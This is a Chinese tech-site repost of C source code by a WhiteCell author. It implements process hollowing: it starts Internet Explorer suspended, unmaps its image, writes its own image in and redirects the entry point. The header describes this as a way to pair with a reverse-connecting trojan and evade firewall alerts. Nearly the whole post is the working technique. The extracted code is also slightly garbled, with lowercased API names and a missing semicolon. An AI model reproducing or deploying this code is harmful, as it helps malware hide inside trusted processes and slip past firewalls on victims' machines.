| 网站建设 下载中心 社区论坛 信息公告 my小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
绕过防火墙的反向连接报警http://www.iyit.net 日期:2006-11-21 14:02:38 来源: 点击: |
author: polymorphours email: polymorphours@whitecell.org homepage:http://www.whitecell.org date: 2005-11-17 /* author: polymorphours date: 2005/1/10 另一种将自己代码注入傀儡进程的方法,配合反弹木马,可绕过防火墙的 反向连接报警。 */ #include <stdio.h> #include <windows.h> // // ntdll.lib ( 来自ddk 2000 ) // #pragma comment(lib,"ntdll.lib") typedef long ntstatus; ntsysapi ntstatus ntapi zwunmapviewofsection( handle processhandle, pvoid baseaddress ); typedef struct _childprocessinfo { dword dwbaseaddress; dword dwreserve; } childprocess, *pchildprocess; bool findiepath( char *iepath, int *dwbuffsize ); bool injectprocess(void); dword getselfimagesize( hmodule hmodule ); bool createinjectprocess( pprocess_information pi, pcontext pthreadcxt, childprocess *pchildprocess ); char sziepath[max_path]; int main(void) { if (injectprocess() ) { printf("this is my a test code,made by (polymorphours)shadow3.\r\n"); } else { messagebox(null,"进程插入完成","text",mb_ok); } return 0; } bool findiepath( char *iepath, int *dwbuffsize ) { char szsystemdir[max_path]; getsystemdirectory(szsystemdir,max_path); szsystemdir[2] = '\0' lstrcat(szsystemdir,"\\program files\\internet explorer\\iexplore.exe"); lstrcpy(iepath, szsystemdir); return true; } bool injectprocess(void) { char szmodulepath[max_path]; dword dwimagesize = 0; startupinfo si = {0}; process_information pi; context threadcxt; dword *ppeb; dword dwwrite = 0; childprocess stchildprocess; lpvoid lpvirtual = null; pimage_dos_header pdosheader = null; pimage_nt_headers pvirpehead = null; hmodule hmodule = null; zeromemory( szmodulepath, max_path ); zeromemory( sziepath, max_path ); getmodulefilename( null, szmodulepath, max_path ); findiepath( sziepath, null ); if ( lstrcmpia( sziepath, szmodulepath ) == 0 ) { return false; } hmodule = getmodulehandle( null ); if ( hmodule == null ) { return false; } pdosheader = (pimage_dos_header)hmodule; pvirpehead = (pimage_nt_headers)((dword)hmodule + pdosheader->e_lfanew); dwimagesize = getselfimagesize(hmodule); // // 以挂起模式启动一个傀儡进程,这里为了传透防火墙,使用ie进程 // if ( createinjectprocess( &pi, &threadcxt , &stchildprocess ) ) { printf("child pid: [%d]\r\n",pi.dwprocessid); // // 卸载需要注入进程中的代码 // if ( zwunmapviewofsection( pi.hprocess, (lpvoid)stchildprocess.dwbaseaddress ) == 0 ) { // // 重新分配内存 // lpvirtual = virtualallocex( pi.hprocess, (lpvoid)hmodule, dwimagesize, mem_reserve │ mem_commit, page_execute_readwrite ); if ( lpvirtual ) { printf("unmapped and allocated mem success.\r\n"); } } else { printf("zwunmapviewofsection() failed.\r\n"); return true; } if ( lpvirtual ) { ppeb = (dword *)threadcxt.ebx; // // 重写装载地址 // writeprocessmemory( pi.hprocess, &ppeb[2], &lpvirtual, sizeof(dword), &dwwrite ); // // 写入自己进程的代码到目标进程 // if ( writeprocessmemory( pi.hprocess, lpvirtual, hmodule, dwimagesize, &dwwrite) ) { printf("image inject into process success.\r\n"); threadcxt.contextflags = context_full; if ( (dword)lpvirtual == stchildprocess.dwbaseaddress ) { threadcxt.eax = (dword)pvirpehead->optionalheader.imagebase + pvirpehead->optionalheader.addressofentrypoint; } else { threadcxt.eax = (dword)lpvirtual + pvirpehead->optionalheader.addressofentrypoint; } #ifdef debug printf("eax = [0x%08x]\r\n",threadcxt.eax); printf("ebx = [0x%08x]\r\n",threadcxt.ebx); printf("ecx = [0x%08x]\r\n",threadcxt.ecx); printf("edx = [0x%08x]\r\n",threadcxt.edx); printf("eip = [0x%08x]\r\n",threadcxt.eip); #endif setthreadcontext(pi.hthread, &threadcxt); resumethread(pi.hthread); } else { printf("wirtememory failed,code:%d\r\n",getlasterror()); terminateprocess(pi.hprocess, 0); } } else { printf("virtualmemory failed,code:%d\r\n",getlasterror()); terminateprocess(pi.hprocess, 0); } } return true; } dword getselfimagesize( hmodule hmodule ) { dword dwimagesize; _asm { mov ecx,0x30 mov eax, fs:[ecx] mov eax, [eax + 0x0c] mov esi, [eax + 0x0c] add esi,0x20 lodsd mov dwimagesize,eax } return dwimagesize; } bool createinjectprocess( pprocess_information pi, pcontext pthreadcxt, childprocess *pchildprocess ) { startupinfo si = {0}; dword *ppeb; dword read; // 使用挂起模式启动ie if( createprocess( null, sziepath, null, null, 0, create_suspended, null, null, &si, pi ) ) { pthreadcxt->contextflags = context_full; getthreadcontext(pi->hthread, pthreadcxt); ppeb = (dword *)pthreadcxt->ebx; // 得到ie的装载基地址 readprocessmemory( pi->hprocess, &ppeb[2], (lpvoid)&(pchildprocess->dwbaseaddress), sizeof(dword), &read ); return true ; } return false; } whitecell security systems,一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。 whitecell website:http://www.whitecell.org/ whitecell forum:http://www.whitecell.org/forum/ 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:实例解析蠕虫病毒的原理 下一篇:没有了 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 相关文章 | |||||||||||||||
|
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||